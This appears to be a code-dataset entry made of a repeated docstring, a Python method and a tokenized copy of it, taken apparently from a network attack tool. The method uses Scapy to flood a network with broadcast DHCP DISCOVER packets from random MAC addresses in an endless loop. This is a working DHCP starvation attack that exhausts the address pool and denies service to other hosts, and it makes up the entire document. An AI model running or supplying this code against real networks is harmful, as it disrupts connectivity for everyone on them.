(self)
Starve the network of DHCP leases
Starve the network of DHCP leases
Starve the network of DHCP leases
def starve(self):
        """ Starve the network of DHCP leases
        """
        while self.running:
            pkt = Ether(src=RandMAC(), dst="ff:ff:ff:ff:ff:ff")
            pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
            pkt /= UDP(sport=68, dport=67)
            pkt /= BOOTP(chaddr=RandString(12, '0123456789abcdef'))
            pkt /= DHCP(options=[("message-type", 'discover'), 'end'])
            sendp(pkt)
            sleep(self.config['interval'].value)
def starve ( self ) : while self . running : pkt = Ether ( src = RandMAC ( ) , dst = "ff:ff:ff:ff:ff:ff" ) pkt /= IP ( src = "0.0.0.0" , dst = "255.255.255.255" ) pkt /= UDP ( sport = 68 , dport = 67 ) pkt /= BOOTP ( chaddr = RandString ( 12 , '0123456789abcdef' ) ) pkt /= DHCP ( options = [ ( "message-type" , 'discover' ) , 'end' ] ) sendp ( pkt ) sleep ( self . config [ 'interval' ] . value )